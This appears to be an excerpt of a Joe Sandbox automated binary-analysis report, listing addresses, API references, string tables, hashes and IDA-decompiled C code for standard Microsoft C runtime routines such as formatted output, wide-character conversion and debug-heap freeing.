0x0043c4d6
0x0043c4d8
0x0043c4e0
0x0043c4e1
0x0043c4e4
0x0043c4e5
0x0043c4f3
0x0043c4f5
0x0043c4f5
0x0043c4d6
0x0043c4f8
0x0043c4fb
0x0043c501
0x0043c506
0x0043c50b
0x0043c511
0x0043c514
0x0043c514
0x0043c517
0x0043c523
0x00000000
0x0043c523
0x0043c3c7
0x0043c3c7
0x0043c3d1
0x00000000
0x00000000
0x0043c3d3
0x0043c3d3
0x00000000
0x0043c3d3
0x0043c3b8
0x0043c3b8
0x00000000
0x00000000
0x0043c018
0x0043c018
0x0043c023
0x0043c02b
0x0043c032
0x0043c035
0x0043c038
0x0043c098
0x0043c03a
0x0043c041
0x0043c047
0x0043c04d
0x0043c054
0x0043c057
0x0043c05d
0x0043c065
0x0043c067
0x0043c06e
0x0043c075
0x0043c086
0x0043c088
0x0043c088
0x0043c08f
0x0043c09f
0x0043c0a5
0x0043c0a8
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c28a
0x0043c28a
0x0043c296
0x0043c2a3
0x0043c34d
0x0043c34d
0x0043c350
0x0043c353
0x0043c367
0x0043c36d
0x0043c373
0x0043c355
0x0043c355
0x0043c35b
0x0043c362
0x0043c362
0x0043c375
0x00000000
0x0043c375
0x0043c2a9
0x0043c2a9
0x0043c2ab
0x0043c2b9
0x0043c2ad
0x0043c2ad
0x0043c2ad
0x0043c2c3
0x0043c2c9
0x0043c2d6
0x0043c2d8
0x0043c2dd
0x0043c2df
0x0043c2e4
0x0043c2e9
0x0043c2eb
0x0043c2f0
0x0043c2f6
0x0043c2f8
0x0043c2f8
0x0043c2f6
0x0043c300
0x0043c348
0x00000000
0x0043c302
0x0043c302
0x0043c307
0x0043c323
0x0043c32b
0x0043c335
0x0043c338
0x0043c33d
0x00000000
0x0043c33d
0x00000000
0x0043c594
0x0043c594
0x0043c59e
0x0043c5a4
0x0043c5a9
0x0043c5af
0x0043c5af
0x00000000
0x00000000
0x0043c546
0x0043c546
0x00000000
0x00000000
0x0043c15d
0x0043c161
0x0043c16f
0x0043c172
0x0043c163
0x0043c163
0x0043c163
0x0043c178
0x0043c17e
0x0043c184
0x0043c190
0x0043c196
0x0043c199
0x0043c221
0x0043c225
0x0043c227
0x0043c22d
0x0043c22d
0x0043c230
0x0043c237
0x0043c23a
0x0043c240
0x0043c240
0x0043c240
0x0043c246
0x0043c24c
0x0043c24f
0x0043c257
0x00000000
0x00000000
0x0043c259
0x0043c259
0x0043c25f
0x0043c264
0x00000000
0x00000000
0x0043c266
0x0043c26c
0x0043c26f
0x0043c26f
0x0043c277
0x0043c27d
0x0043c280
0x0043c282
0x00000000
0x0043c19f
0x0043c19f
0x0043c1a3
0x0043c1a5
0x0043c1aa
0x0043c1aa
0x0043c1ad
0x0043c1b0
0x0043c1b6
0x0043c1c8
0x0043c1c8
0x0043c1c8
0x0043c1d1
0x00000000
0x00000000
0x0043c1d3
0x0043c1d3
0x0043c1d9
0x0043c1de
0x00000000
0x00000000
0x0043c1e0
0x0043c1e0
0x0043c1e9
0x0043c1ef
0x0043c1fd
0x0043c205
0x0043c208
0x0043c208
0x0043c214
0x0043c217
0x0043c1c2
0x0043c1c5
0x0043c1c5
0x0043c21f
0x0043c285
0x00000000
0x0043c285
0x00000000
0x0043c53d
0x0043c53d
0x00000000
0x00000000
0x0043c559
0x0043c559
0x0043c563
0x0043c563
0x0043c56d
0x0043c573
0x0043c575
0x0043c57a
0x0043c584
0x0043c587
0x0043c58b
0x0043c58b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bffd
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c840
0x0043c697
0x0043c68e
0x0043c5b2
0x0043c5b2
0x0043c5b2

APIs

_get_int64_arg.LIBCMTD ref: 0043C5C0
_get_int64_arg.LIBCMTD ref: 0043C5E8
__aullrem.LIBCMT ref: 0043C790
__aulldiv.LIBCMT ref: 0043C7B2
_write_multi_char.LIBCMTD ref: 0043C8CB
_write_string.LIBCMTD ref: 0043C8E6
_write_multi_char.LIBCMTD ref: 0043C912
__mbtowc_l.LIBCMTD ref: 0043C981

Strings

("Incorrect format specifier", 0), xrefs: 0043BC8A, 0043BCD0
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BC96, 0043BCC6
9, xrefs: 0043C7C3
_woutput_s_l, xrefs: 0043BCCB

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: 3f7b9c27b798c9fc9db488f43f6ad3ad4259cb3989252a4faad67556bbd2d114
Instruction ID: c7d1d67009611bd97b78f2f06c930014ccfa61a625e28520b91286933ff313a6
Opcode Fuzzy Hash: 3f7b9c27b798c9fc9db488f43f6ad3ad4259cb3989252a4faad67556bbd2d114
Instruction Fuzzy Hash: 6EF14AB1E002299FDB24CF58CC85BAEB7B5BF89304F14519AE609B7241D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004373A3, Relevance: 33.3, APIs: 22, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004373A3(void* __ebx, void* __edi, void* __esi) {
				intOrPtr* _t143;
				signed int* _t145;
				int _t150;
				intOrPtr* _t167;
				intOrPtr _t189;
				void* _t206;
				intOrPtr _t223;
				intOrPtr _t230;
				void* _t272;
				void* _t273;
				signed int _t274;

				_t273 = __esi;
				_t272 = __edi;
				_t206 = __ebx;
				if( *(_t274 + 8) == 0) {
					_t143 = E0041AFF0(_t274 - 0x20);
					_t208 =  *_t143;
					if( *((intOrPtr*)( *_t143 + 0x14)) != 0) {
						_t210 = _t274 - 0x20;
						_t145 = E0041AFF0(_t274 - 0x20);
						_t256 =  *_t145;
						 *(_t274 - 4) = WideCharToMultiByte( *( *_t145 + 4), 0,  *(_t274 + 0xc), 0xffffffff, 0, 0, 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							 *((intOrPtr*)(L00423010(_t210))) = 0x2a;
							 *(_t274 - 0x68) = 0xffffffff;
							E0041AFC0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x68);
						} else {
							 *(_t274 - 0x6c) =  *(_t274 - 4) - 1;
							E0041AFC0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x6c);
						}
					} else {
						_t256 =  *(_t274 + 0xc);
						 *(_t274 - 0x64) = E0042DDD0(_t208,  *(_t274 + 0xc));
						E0041AFC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x64);
					}
					L47:
					return E0042BF30(_t150, _t206,  *(_t274 - 0x24) ^ _t274, _t256, _t272, _t273);
				}
				if( *((intOrPtr*)( *((intOrPtr*)(E0041AFF0(_t274 - 0x20))) + 0x14)) != 0) {
					if( *((intOrPtr*)( *((intOrPtr*)(E0041AFF0(_t274 - 0x20))) + 0xac)) != 1) {
						_t223 =  *((intOrPtr*)(E0041AFF0(_t274 - 0x20)));
						_t256 =  *(_t223 + 4);
						 *(_t274 - 4) = WideCharToMultiByte( *(_t223 + 4), 0,  *(_t274 + 0xc), 0xffffffff,  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
						if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
							if( *(_t274 - 0x10) != 0 || GetLastError() != 0x7a) {
								 *((intOrPtr*)(L00423010(_t223))) = 0x2a;
								 *(_t274 - 0x4c) = 0xffffffff;
								E0041AFC0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x4c);
							} else {
								while( *(_t274 - 4) <  *(_t274 + 0x10)) {
									_t167 = E0041AFF0(_t274 - 0x20);
									_t230 =  *((intOrPtr*)(E0041AFF0(_t274 - 0x20)));
									_t256 =  *(_t230 + 4);
									 *((intOrPtr*)(_t274 - 0xc)) = WideCharToMultiByte( *(_t230 + 4), 0,  *(_t274 + 0xc), 1, _t274 - 0x2c,  *( *_t167 + 0xac), 0, _t274 - 0x10);
									if( *((intOrPtr*)(_t274 - 0xc)) == 0 ||  *(_t274 - 0x10) != 0) {
										 *((intOrPtr*)(L00423010(_t230))) = 0x2a;
										 *(_t274 - 0x50) = 0xffffffff;
										E0041AFC0(_t274 - 0x20);
										_t150 =  *(_t274 - 0x50);
									} else {
										if( *((intOrPtr*)(_t274 - 0xc)) < 0 ||  *((intOrPtr*)(_t274 - 0xc)) > 5) {
											 *((intOrPtr*)(L00423010(_t230))) = 0x2a;
											 *(_t274 - 0x54) = 0xffffffff;
											E0041AFC0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x54);
										} else {
											if( *(_t274 - 4) +  *((intOrPtr*)(_t274 - 0xc)) <=  *(_t274 + 0x10)) {
												 *(_t274 - 8) = 0;
												while( *(_t274 - 8) <  *((intOrPtr*)(_t274 - 0xc))) {
													( *(_t274 + 8))[ *(_t274 - 4)] =  *((intOrPtr*)(_t274 +  *(_t274 - 8) - 0x2c));
													_t256 =  &(( *(_t274 + 8))[ *(_t274 - 4)]);
													if(( *(_t274 + 8))[ *(_t274 - 4)] != 0) {
														 *(_t274 - 8) =  *(_t274 - 8) + 1;
														 *(_t274 - 4) =  *(_t274 - 4) + 1;
														continue;
													}
													 *(_t274 - 0x5c) =  *(_t274 - 4);
													E0041AFC0(_t274 - 0x20);
													_t150 =  *(_t274 - 0x5c);
													goto L47;
												}
												_t256 =  &(( *(_t274 + 0xc))[1]);
												 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
												continue;
											}
											 *(_t274 - 0x58) =  *(_t274 - 4);
											E0041AFC0(_t274 - 0x20);
											_t150 =  *(_t274 - 0x58);
										}
									}
									goto L47;
								}
								 *(_t274 - 0x60) =  *(_t274 - 4);
								E0041AFC0(_t274 - 0x20);
								_t150 =  *(_t274 - 0x60);
							}
						} else {
							 *(_t274 - 0x48) =  *(_t274 - 4) - 1;
							E0041AFC0(_t274 - 0x20);
							_t150 =  *(_t274 - 0x48);
						}
						goto L47;
					}
					if( *(_t274 + 0x10) > 0) {
						 *(_t274 + 0x10) = E00437790( *(_t274 + 0xc),  *(_t274 + 0x10));
					}
					_t256 =  *(_t274 + 0xc);
					_t189 =  *((intOrPtr*)(E0041AFF0(_t274 - 0x20)));
					_t243 =  *(_t189 + 4);
					 *(_t274 - 4) = WideCharToMultiByte( *(_t189 + 4), 0,  *(_t274 + 0xc),  *(_t274 + 0x10),  *(_t274 + 8),  *(_t274 + 0x10), 0, _t274 - 0x10);
					if( *(_t274 - 4) == 0 ||  *(_t274 - 0x10) != 0) {
						 *((intOrPtr*)(L00423010(_t243))) = 0x2a;
						 *(_t274 - 0x44) = 0xffffffff;
						E0041AFC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x44);
					} else {
						if( *((char*)( &(( *(_t274 + 8))[ *(_t274 - 4)]) - 1)) == 0) {
							 *(_t274 - 4) =  *(_t274 - 4) - 1;
						}
						_t256 =  *(_t274 - 4);
						 *(_t274 - 0x40) =  *(_t274 - 4);
						E0041AFC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x40);
					}
					goto L47;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t248 =  *(_t274 - 4);
					if( *(_t274 - 4) >=  *(_t274 + 0x10)) {
						break;
					}
					_t256 =  *(_t274 + 0xc);
					if(( *( *(_t274 + 0xc)) & 0x0000ffff) <= 0xff) {
						( *(_t274 + 8))[ *(_t274 - 4)] =  *( *(_t274 + 0xc));
						_t256 =  *( *(_t274 + 0xc)) & 0x0000ffff;
						 *(_t274 + 0xc) =  &(( *(_t274 + 0xc))[1]);
						if(( *( *(_t274 + 0xc)) & 0x0000ffff) != 0) {
							_t256 =  *(_t274 - 4) + 1;
							 *(_t274 - 4) =  *(_t274 - 4) + 1;
							continue;
						}
						 *(_t274 - 0x38) =  *(_t274 - 4);
						E0041AFC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x38);
					} else {
						 *((intOrPtr*)(L00423010(_t248))) = 0x2a;
						 *(_t274 - 0x34) = 0xffffffff;
						E0041AFC0(_t274 - 0x20);
						_t150 =  *(_t274 - 0x34);
					}
					goto L47;
				}
				 *(_t274 - 0x3c) =  *(_t274 - 4);
				E0041AFC0(_t274 - 0x20);
				_t150 =  *(_t274 - 0x3c);
				goto L47;
			}

0x004373a3
0x004373a3
0x004373a3
0x004373a7
0x004376de
0x004376e3
0x004376e9
0x0043771b
0x0043771e
0x00437723
0x0043772f
0x00437736
0x00437743
0x00437749
0x00437753
0x00437758
0x0043775d
0x00437763
0x00437769
0x0043776e
0x0043776e
0x004376eb
0x004376eb
0x004376f7
0x004376fd
0x00437702
0x00437702
0x0043777b
0x00437788
0x00437788
0x004373bb
0x00437465
0x00437531
0x00437533
0x0043753d
0x00437544
0x00437569
0x0043757b
0x00437581
0x0043758b
0x00437590
0x00437598
0x00437598
0x004375ad
0x004375cf
0x004375d1
0x004375db
0x004375e2
0x004375ef
0x004375f5
0x004375ff
0x00437604
0x0043760c
0x00437610
0x0043761d
0x00437623
0x0043762d
0x00437632
0x0043763a
0x00437643
0x0043765b
0x00437676
0x0043768b
0x00437690
0x00437698
0x0043766a
0x00437673
0x00000000
0x00437673
0x0043769d
0x004376a3
0x004376a8
0x00000000
0x004376a8
0x004376b5
0x004376b8
0x00000000
0x004376b8
0x00437648
0x0043764e
0x00437653
0x00437653
0x00437610
0x00000000
0x004375e2
0x004376c3
0x004376c9
0x004376ce
0x004376ce
0x0043754c
0x00437552
0x00437558
0x0043755d
0x0043755d
0x00000000
0x00437544
0x0043746f
0x00437481
0x00437481
0x00437496
0x004374a4
0x004374a6
0x004374b0
0x004374b7
0x004374f1
0x004374f7
0x00437501
0x00437506
0x004374bf
0x004374cb
0x004374d3
0x004374d3
0x004374d6
0x004374d9
0x004374df
0x004374e4
0x004374e4
0x00000000
0x00000000
0x00000000
0x00000000
0x004373c1
0x004373c1
0x004373c1
0x004373c7
0x00000000
0x00000000
0x004373c9
0x004373d4
0x00437403
0x00437408
0x00437411
0x00437416
0x00437431
0x00437434
0x00000000
0x00437434
0x0043741b
0x00437421
0x00437426
0x004373d6
0x004373db
0x004373e1
0x004373eb
0x004373f0
0x004373f0
0x00000000
0x004373d4
0x0043743c
0x00437442
0x00437447
0x00000000

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004373EB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437421
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437442
wcsncnt.LIBCMTD ref: 00437479
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 004374AA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004374DF
_wcslen.LIBCMTD ref: 004376EF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004376FD

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide_wcslenwcsncnt
String ID:
API String ID: 4277434810-0
Opcode ID: b1de406aeefe35b10867a40c5f2bcfab0afd7f1aee048183ceb5a4882bda7d09
Instruction ID: 34f1550e46bbbb9a0b2497cc7b922c25e5d513e1b89e619cd5e32aad6952ff9c
Opcode Fuzzy Hash: b1de406aeefe35b10867a40c5f2bcfab0afd7f1aee048183ceb5a4882bda7d09
Instruction Fuzzy Hash: 03D14BB1904208DFCF18DF95C894AEEB770FF49318F20815AE4526B2A5D738AE42DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0041C7D5, Relevance: 31.8, APIs: 6, Strings: 12, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041C7E9
__CrtIsValidHeapPointer.LIBCMTD ref: 0041C875
_CheckBytes.LIBCMTD ref: 0041C920
_CheckBytes.LIBCMTD ref: 0041C9DA
_memset.LIBCMT ref: 0041CAD1
__free_base.LIBCMTD ref: 0041CADD

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041C88D, 0041C8EB, 0041CAA6
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0041CA61
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041C969
Client hook free failure., xrefs: 0041C84C
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0041C8DF
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CA23
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0041CA9A
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0041C9A7
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0041C7F9
tDj, xrefs: 0041C82B
u!h@$@, xrefs: 0041C87F
_CrtIsValidHeapPointer(pUserData), xrefs: 0041C881

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj$u!h@$@
API String ID: 25084783-1491168652
Opcode ID: 6bb835eb6dfb6355844ac49afe3cba88516bc10a4b3d5ad016ebca5cf7cb8ba4
Instruction ID: bd067a122eed7c107144713be6b39f19e6649f0904cf564754e3cb00d50aa7e8
Opcode Fuzzy Hash: 6bb835eb6dfb6355844ac49afe3cba88516bc10a4b3d5ad016ebca5cf7cb8ba4
Instruction Fuzzy Hash: B3919374B80204FBDB24DB84DED6FAA7366AB44704F304159F6046B3C2D2B5EE80CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00434F57, Relevance: 28.2, APIs: 11, Strings: 5, Instructions: 241
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00434F57(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t494;
				signed int _t502;
				void* _t507;
				signed int _t509;
				void* _t529;
				signed int _t547;
				void* _t558;
				signed int _t567;
				void* _t625;
				void* _t626;
				signed int _t627;
				void* _t629;
				void* _t630;

				L0:
				while(1) {
					L0:
					_t626 = __esi;
					_t625 = __edi;
					_t558 = __ebx;
					_t494 = E004285E0(_t627 + 0x14);
					_t630 = _t629 + 4;
					 *(_t627 - 0x298) = _t494;
					if(E00434180() != 0) {
						goto L118;
					}
					L109:
					__edx = 0;
					if(0 == 0) {
						 *(__ebp - 0x32c) = 0;
					} else {
						 *(__ebp - 0x32c) = 1;
					}
					__eax =  *(__ebp - 0x32c);
					 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
					if( *(__ebp - 0x29c) == 0) {
						_push(L"(\"\'n\' format specifier disabled\", 0)");
						_push(0);
						_push(0x695);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
						_push(2);
						__eax = L0041E520();
						__esp = __esp + 0x14;
						if(__eax == 1) {
							asm("int3");
						}
					}
					if( *(__ebp - 0x29c) != 0) {
						L117:
						while(1) {
							L190:
							if( *(_t627 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t627 - 0x10) & 0x00000040) != 0) {
								if(( *(_t627 - 0x10) & 0x00000100) == 0) {
									if(( *(_t627 - 0x10) & 0x00000001) == 0) {
										if(( *(_t627 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t627 - 0x14)) = 0x20;
											 *(_t627 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t627 - 0x14)) = 0x2b;
										 *(_t627 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t627 - 0x14)) = 0x2d;
									 *(_t627 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t627 - 0x2c4)) =  *((intOrPtr*)(_t627 - 0x18)) -  *(_t627 - 0x24) -  *(_t627 - 0x1c);
							if(( *(_t627 - 0x10) & 0x0000000c) == 0) {
								E004285A0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
							}
							E004358F0( *(_t627 - 0x1c), _t627 - 0x14,  *(_t627 - 0x1c),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
							_t630 = _t630 + 0x10;
							if(( *(_t627 - 0x10) & 0x00000008) != 0) {
								if(( *(_t627 - 0x10) & 0x00000004) == 0) {
									E004285A0(0x30,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
									_t630 = _t630 + 0x10;
								}
							}
							if( *(_t627 - 0xc) == 0) {
								L212:
								E004358F0( *((intOrPtr*)(_t627 - 4)),  *((intOrPtr*)(_t627 - 4)),  *(_t627 - 0x24),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
								_t630 = _t630 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t627 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t627 - 0x2dc) = 0;
								 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 4));
								 *(_t627 - 0x2cc) =  *(_t627 - 0x24);
								while(1) {
									L206:
									 *(_t627 - 0x2cc) =  *(_t627 - 0x2cc) - 1;
									if( *(_t627 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t627 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t627 - 0x2c8))));
									_t547 = E004344A0(_t627 - 0x2d0, _t627 - 0x2d8, 6,  *(_t627 - 0x32e) & 0x0000ffff);
									_t630 = _t630 + 0x10;
									 *(_t627 - 0x2dc) = _t547;
									 *((intOrPtr*)(_t627 - 0x2c8)) =  *((intOrPtr*)(_t627 - 0x2c8)) + 2;
									if( *(_t627 - 0x2dc) != 0) {
										L209:
										 *(_t627 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t627 - 0x2d0) != 0) {
										L210:
										E004358F0( *((intOrPtr*)(_t627 + 8)), _t627 - 0x2d8,  *(_t627 - 0x2d0),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t627 - 0x24c) >= 0) {
									if(( *(_t627 - 0x10) & 0x00000004) != 0) {
										E004285A0(0x20,  *((intOrPtr*)(_t627 - 0x2c4)),  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
										_t630 = _t630 + 0x10;
									}
								}
							}
							L216:
							if( *(_t627 - 0x20) != 0) {
								L0041C6E0( *(_t627 - 0x20), 2);
								_t630 = _t630 + 8;
								 *(_t627 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
								_t598 =  *(_t627 - 0x251);
								 *(_t627 + 0xc) =  *(_t627 + 0xc) + 1;
								if( *(_t627 - 0x251) == 0 ||  *(_t627 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t627 - 0x251) < 0x20 ||  *(_t627 - 0x251) > 0x78) {
										 *(_t627 - 0x310) = 0;
									} else {
										 *(_t627 - 0x310) =  *( *(_t627 - 0x251) +  &M00407E18) & 0xf;
									}
								}
								L7:
								 *(_t627 - 0x250) =  *(_t627 - 0x310);
								_t509 =  *(_t627 - 0x250) * 9;
								_t567 =  *(_t627 - 0x25c);
								_t598 = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								 *(_t627 - 0x25c) = ( *(_t509 + _t567 + 0x407e38) & 0x000000ff) >> 4;
								if( *(_t627 - 0x25c) != 8) {
									L16:
									 *(_t627 - 0x318) =  *(_t627 - 0x25c);
									if( *(_t627 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t627 - 0x318) * 4 +  &M004357E0))) {
										case 0:
											L18:
											 *(_t627 - 0xc) = 0;
											_t512 = E00431490( *(_t627 - 0x251) & 0x000000ff, E0041AFF0(_t627 - 0x40));
											_t633 = _t630 + 8;
											__eflags = _t512;
											if(_t512 == 0) {
												L24:
												E00428500( *(_t627 - 0x251) & 0x000000ff,  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t630 = _t633 + 0xc;
												goto L218;
											} else {
												E00428500( *((intOrPtr*)(_t627 + 8)),  *(_t627 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t627 + 8)), _t627 - 0x24c);
												_t633 = _t633 + 0xc;
												_t572 =  *( *(_t627 + 0xc));
												 *(_t627 - 0x251) =  *( *(_t627 + 0xc));
												_t598 =  *(_t627 + 0xc) + 1;
												__eflags = _t598;
												 *(_t627 + 0xc) = _t598;
												asm("sbb eax, eax");
												 *(_t627 - 0x27c) =  ~( ~( *(_t627 - 0x251)));
												if(_t598 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t524 = L0041E520();
													_t633 = _t633 + 0x14;
													__eflags = _t524 - 1;
													if(_t524 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t627 - 0x27c);
												if( *(_t627 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00423010(_t572))) = 0x16;
													E00422DA0(_t558, _t572, _t625, _t626, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t627 - 0x2f4) = 0xffffffff;
													E0041AFC0(_t627 - 0x40);
													_t502 =  *(_t627 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t73 = __ecx + 0x435818; // 0x498d04
											__edx =  *_t73 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M00435800))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
